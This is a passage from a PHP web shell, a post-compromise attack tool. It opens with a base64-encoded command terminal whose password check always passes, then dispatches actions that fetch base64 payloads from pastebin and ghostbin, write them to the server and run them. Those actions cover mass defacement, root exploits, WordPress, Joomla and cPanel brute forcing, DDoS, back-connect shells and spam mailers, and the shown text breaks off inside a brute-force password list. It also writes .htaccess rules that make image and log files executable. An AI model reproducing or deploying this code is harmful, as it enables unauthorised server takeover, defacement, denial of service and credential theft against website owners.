VMFZTVmsgVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdKRjlUUlZKV1JWSmJKMU5EVWtsUVZGOU8gUVUxRkoxMGdPdzBLYldGcGJDQW9KR1Z1WTI5a2FXNW5MQ1J5Wlhvc0pITmxjblpsY20gUmxkR1ZqZEdsdVp5a2dPdzBLSkc1elkyUnBjaUE5S0NGcGMzTmxkQ2drWDFKRlVWVkYgVTFSYkozTmpaR2x5SjEwcEtUOW5aWFJqZDJRb0tUcGphR1JwY2lna1gxSkZVVlZGVTEgUmJKM05qWkdseUoxMHBPeVJ1YzJOa2FYSTlaMlYwWTNka0tDazcnKSk7Cgo/Pgo8L2Zvcm0+PC90ZD48L3RyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAgPz4KPD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygxKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0gLy8gZW5kIHBocHRoaWVubGUKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwokdGVybWluYWw9bmV3IHBocHRoaWVubGU7CkBzZXNzaW9uX3N0YXJ0KCk7CiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uY3Rpb24KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hvICJXZWJzaXRlIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gfCA8P3BocCBlY2hvICJJUCA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiI7Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwppZiAoZS5rZXlDb2RlID09IDM4ICYmIGN1cnJlbnRfbGluZSA8IGNvbW1hbmRfaGlzdC5sZW5ndGgtMSkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZSsrOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQp9CmZ1bmN0aW9uIGluaXQoKSB7CmRvY3VtZW50LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0b2NvbXBsZXRlIiwgIm9mZiIpOwpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC5mb2N1cygpOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg==';
1900 $file = fopen("command.php", "w+");
1901 $write = fwrite($file, base64_decode($perltoolss));
1902 fclose($file);
1903 echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";
1904}//end NewCommand
1905
1906//symroot
1907elseif ($action == 'symroot') {
1908 $file = fopen($dir . "symroot.php", "w+");
1909 $perltoolss = file_get_contents('https://ghostbin.com/paste/fno7j/raw');
1910 $file = fopen("symroot.php", "w+");
1911 $write = fwrite($file, base64_decode($perltoolss));
1912 fclose($file);
1913 echo "<iframe src='symroot.php' width='100%' height='500'></iframe>";
1914 }
1915
1916//Zipcode
1917elseif ($action == 'zipcode') {
1918 $file = fopen($dir . "zipcode.php", "w+");
1919 $perltoolss = file_get_contents('https://ghostbin.com/paste/fxfu4/raw');
1920 $file = fopen("zipcode.php", "w+");
1921 $write = fwrite($file, base64_decode($perltoolss));
1922 fclose($file);
1923 echo "<iframe src='zipcode.php' width='100%' height='500'></iframe>";
1924 }
1925
1926//Massdeface
1927elseif ($action == 'mass') {
1928 $file = fopen($dir . "mass.php", "w+");
1929 $perltoolss = file_get_contents('https://ghostbin.com/paste/ggq7v/raw');
1930 $file = fopen("mass.php", "w+");
1931 $write = fwrite($file, base64_decode($perltoolss));
1932 fclose($file);
1933 echo "<iframe src='mass.php' width='100%' height='500'></iframe>";
1934 }
1935
1936
1937//ShellBypass
1938elseif ($action == 'vb') {
1939 $file = fopen($dir . "shellbypass.php", "w+");
1940 $perltoolss = file_get_contents('https://ghostbin.com/paste/cu2qo/raw');
1941 $file = fopen("shellbypass.php", "w+");
1942 $write = fwrite($file, base64_decode($perltoolss));
1943 fclose($file);
1944 echo "<iframe src='shellbypass.php' width='100%' height='500'></iframe>";
1945 }
1946
1947elseif ($action == 'termi') {
1948 $file = fopen($dir . "DGTerminal.php", "w+");
1949 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');
1950 $file = fopen("DGTerminal.php", "w+");
1951 $write = fwrite($file, base64_decode($perltoolss));
1952 fclose($file);
1953 echo "<iframe src='DGTerminal.php' width='100%' height='500'></iframe>";
1954 }
1955
1956 elseif ($action == 'cgipin') {
1957 mkdir('Pin', 0755);
1958 chdir('Pin');
1959 $kokdosya = ".htaccess";
1960 $dosya_adi = "$kokdosya";
1961 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1962 $metin = "Options +ExecCGI
1963AddHandler cgi-script cgi pl cgi gmc pin jpg
1964RewriteEngine on
1965RewriteRule (.*)\.mil$ $1.cgi
1966Options +FollowSymLinks
1967DirectoryIndex cmd.html
1968Options +Indexes
1969RemoveHandler .hack
1970AddType text/plain .hack";
1971 fwrite($dosya, $metin);
1972 fclose($dosya);
1973 $perltoolss = file_get_contents('https://ghostbin.com/paste/5qyrs/raw');
1974 $file = fopen("cgi.pin", "w+");
1975 $write = fwrite($file, base64_decode($perltoolss));
1976 fclose($file);
1977 chmod("cgi.pin", 0755);
1978 echo "<iframe src=pin/cgi.pin width=100% height=720px frameborder=0></iframe> ";
1979}
1980
1981elseif ($action == 'telnet') {
1982 mkdir('tel', 0755);
1983 chdir('tel');
1984 $kokdosya = ".htaccess";
1985 $dosya_adi = "$kokdosya";
1986 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1987 $metin = "Options +FollowSymLinks +Indexes
1988DirectoryIndex default.html
1989## START ##
1990Options +ExecCGI
1991AddHandler cgi-script log cgi pl tg love h4 Marion001 tgb x-zone
1992AddType application/x-httpd-php .jpg
1993RewriteEngine on
1994RewriteRule (.*)\war$ .log
1995## END ##";
1996 fwrite($dosya, $metin);
1997 fclose($dosya);
1998 $perltoolss = file_get_contents('https://ghostbin.com/paste/bh278/raw');
1999 $file = fopen("telnet.pl", "w+");
2000 $write = fwrite($file, base64_decode($perltoolss));
2001 fclose($file);
2002 chmod("telnet.pl", 0755);
2003 echo "<iframe src=tel/telnet.pl width=100% height=720px frameborder=0></iframe> ";
2004}
2005
2006elseif ($action == 'endecode') {
2007$en = 'http://pastebin.com/raw.php?i=y5Qhr0WM';
2008$de = file_get_contents($en);
2009$cone = fopen('endecode.php', 'w');
2010fwrite($cone,$de);
2011fclose($cone);
2012echo "<iframe src='endecode.php' width='100%' height='500'></iframe>";
2013}
2014//BKV-1102
2015elseif ($action == 'BKV-1102') {
2016 $file = fopen($dir . "BKV-1102.php", "w+");
2017 $perltoolss = file_get_contents('http://pastebin.com/raw/43gW5UNP');
2018 $file = fopen("ws0.php", "w+");
2019 $write = fwrite($file, base64_decode($perltoolss));
2020 fclose($file);
2021 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2022}
2023//MyINDEX
2024elseif ($action == 'indexanons108') {
2025 $file = fopen($dir . "BKV-1102.php", "w+");
2026 $perltoolss = file_get_contents('http://pastebin.com/raw.php/EUiWbp0c');
2027 $file = fopen("ws0.php", "w+");
2028 $write = fwrite($file, base64_decode($perltoolss));
2029 fclose($file);
2030 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2031}
2032//brutewp
2033elseif ($action == 'brutewp') {
2034 $file = fopen($dir . "brutewp.php", "w+");
2035 $perltoolss = file_get_contents('http://pastebin.com/raw.php/zSZ9PM44');
2036 $file = fopen("ws0.php", "w+");
2037 $write = fwrite($file, base64_decode($perltoolss));
2038 fclose($file);
2039 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2040}
2041//getroot
2042elseif ($action == 'getroot') {
2043 $file = fopen($dir . "getroot.php", "w+");
2044 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=cJZV55s1');
2045 $file = fopen("ws0.php", "w+");
2046 $write = fwrite($file, base64_decode($perltoolss));
2047 fclose($file);
2048 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2049}
2050//brutejoomla
2051elseif ($action == 'brutejl') {
2052 $file = fopen($dir . "brutewp.php", "w+");
2053 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=EXrxGmq3');
2054 $file = fopen("ws0.php", "w+");
2055 $write = fwrite($file, base64_decode($perltoolss));
2056 fclose($file);
2057 echo "<iframe src='ws0.php' width='100%' height='500'></iframe>";
2058}
2059//Base64
2060elseif ($action == 'base64') {
2061
2062 echo "<iframe src=http://tools.sinhvienit.net/base64/ width=100% height=720px frameborder=0></iframe> ";
2063}
2064//SSIHTML
2065elseif ($action == 'ssihtml') {
2066 $file = fopen($dir . "ssihtml", "w+");
2067 $perltoolss = file_get_contents('http://pastebin.com/raw.php/iAufj8Y7');
2068 $file = fopen("ssihtml.php", "w+");
2069 $write = fwrite($file, base64_decode($perltoolss));
2070 fclose($file);
2071 echo "<iframe src='ssihtml.php' width='100%' height='500'></iframe>";
2072}
2073//DDOS
2074elseif ($action == 'ddos') {
2075 $ddos = 'http://pastebin.com/raw.php?i=kJSN6ifL';
2076 $getfile = file_get_contents($ddos);
2077 $done = fopen('ddos.php', 'w');
2078 fwrite($done, $getfile);
2079 fclose($done);
2080 echo "<iframe src='ddos.php' width='100%' height='500'></iframe>";
2081}
2082
2083elseif ($action == 'ddosv2') {
2084$ddosv = 'http://pastebin.com/raw.php?i=XYwv7CSa';
2085$dess = file_get_contents($ddosv);
2086$coneww = fopen('ddosv2.php', 'w');
2087fwrite($coneww,$dess);
2088fclose($coneww);
2089echo "<iframe src='ddosv2.php' width='100%' height='500'></iframe>";
2090}
2091
2092elseif ($action == 'bcphp') {
2093 $file = fopen($dir . "backconnect.php", "w+");
2094 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q7mAs9Nf');
2095 $file = fopen("backconnect.php", "w+");
2096 $write = fwrite($file, base64_decode($perltoolss));
2097 fclose($file);
2098 echo "<iframe src='backconnect.php' width='100%' height='500'></iframe>";
2099}
2100//BruteCPv2
2101elseif ($action == 'brutecpv2') {
2102 $brutecpv2s = 'http://pastebin.com/raw.php?i=Xm28RVWL';
2103 $brutecpv2a = file_get_contents($brutecpv2s);
2104 $brutecpv2b = fopen('brutecpv2.php', 'w');
2105 fwrite($brutecpv2b, $brutecpv2a);
2106 fclose($brutecpv2b);
2107 echo "<iframe src='brutecpv2.php' width='100%' height='500'></iframe>";
2108}
2109
2110elseif ($action == 'viewdomain') {
2111$viewdomain = 'http://pastebin.com/raw.php?i=iGsiu7uK';
2112$desszzzz = file_get_contents($viewdomain);
2113$coww = fopen('viewdomain.php', 'w');
2114fwrite($coww,$desszzzz);
2115fclose($coww);
2116echo "<iframe src='viewdomain.php' width='100%' height='500'></iframe>";
2117}
2118
2119elseif ($action == 'scan') {
2120 $file = fopen($dir . "scan.php", "w+");
2121 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=PiUR3LPb');
2122 $file = fopen("scan.php", "w+");
2123 $write = fwrite($file, base64_decode($perltoolss));
2124 fclose($file);
2125 echo "<iframe src='scan.php' width='100%' height='500'></iframe>";
2126}
2127
2128
2129elseif ($action == 'massfd') {
2130 $file = fopen($dir . "massfd.php", "w+");
2131 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=S0uCaquf');
2132 $file = fopen("massfd.php", "w+");
2133 $write = fwrite($file, base64_decode($perltoolss));
2134 fclose($file);
2135 echo "<iframe src='massfd.php' width='100%' height='500'></iframe>";
2136}
2137
2138elseif ($action == 'reverseip') {
2139
2140 echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";
2141}
2142//MD5
2143elseif ($action == 'md5') {
2144
2145 echo "<iframe src=http://www.md5.cz/ width=100% height=720px frameborder=0></iframe> ";
2146}
2147//crack
2148elseif ($action == 'crack') {
2149echo "<iframe src=https://hashkiller.co.uk/md5-decrypter.aspx/ width=100% height=400px frameborder=0></iframe> ";
2150}
2151//DDOS Bot Shell
2152elseif ($action == 'ddosbot') {
2153
2154 echo "<iframe src=http://www.yrmj.com/admin/upload/img/hoangdz2.php width=100% height=720px frameborder=0></iframe> ";
2155}
2156
2157elseif ($action == 'spam') {
2158 $file = fopen($dir . "fakemail.php", "w+");
2159 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=LjRcNVUa');
2160 $file = fopen("fakemail.php", "w+");
2161 $write = fwrite($file, base64_decode($perltoolss));
2162 fclose($file);
2163 echo "<iframe src='fakemail.php' width='100%' height='500'></iframe>";
2164}
2165
2166
2167//Bugshell
2168elseif ($action == 'bug') {
2169$bug = 'http://pastebin.com/raw.php?i=07hwC5fW';
2170$bugshell = file_get_contents($bug);
2171$bs = fopen('bugshell.php', 'w');
2172fwrite($bs,$bugshell);
2173fclose($mdf);
2174echo "<iframe src='bugshell.php' width='100%' height='500'></iframe>";
2175}
2176
2177//FINDADMIN
2178elseif ($action == 'findadmin') {
2179$find = 'http://pastebin.com/raw.php?i=8UmXBduC';
2180$admin = file_get_contents($find);
2181$dmm = fopen('findadmin.php', 'w');
2182fwrite($dmm,$admin);
2183fclose($dmm);
2184echo "<iframe src='findadmin.php' width='100%' height='500'></iframe>";
2185}
2186
2187// Brute
2188elseif ($action == 'brute') {
2189formhead(array('title'=>'Brute Forcer'));
2190 makehide('action','brute');
2191 makehide('dir',$brute);
2192@ini_set('memory_limit', 1000000000000);
2193$connect_timeout=5;
2194@set_time_limit(0);
2195$submit = $_REQUEST['submit'];
2196$users = $_REQUEST['users'];
2197$pass = $_REQUEST['passwords'];
2198$target = $_REQUEST['target'];
2199$option = $_REQUEST['option'];
2200
2201
2202$passlist = "0123456
220301234567
2204012345678
22050123456789
220601234567890
2207123456
22081234567
220912345678
2210123456789
22111234567890
2212111111
2213000000
2214222222
2215333333
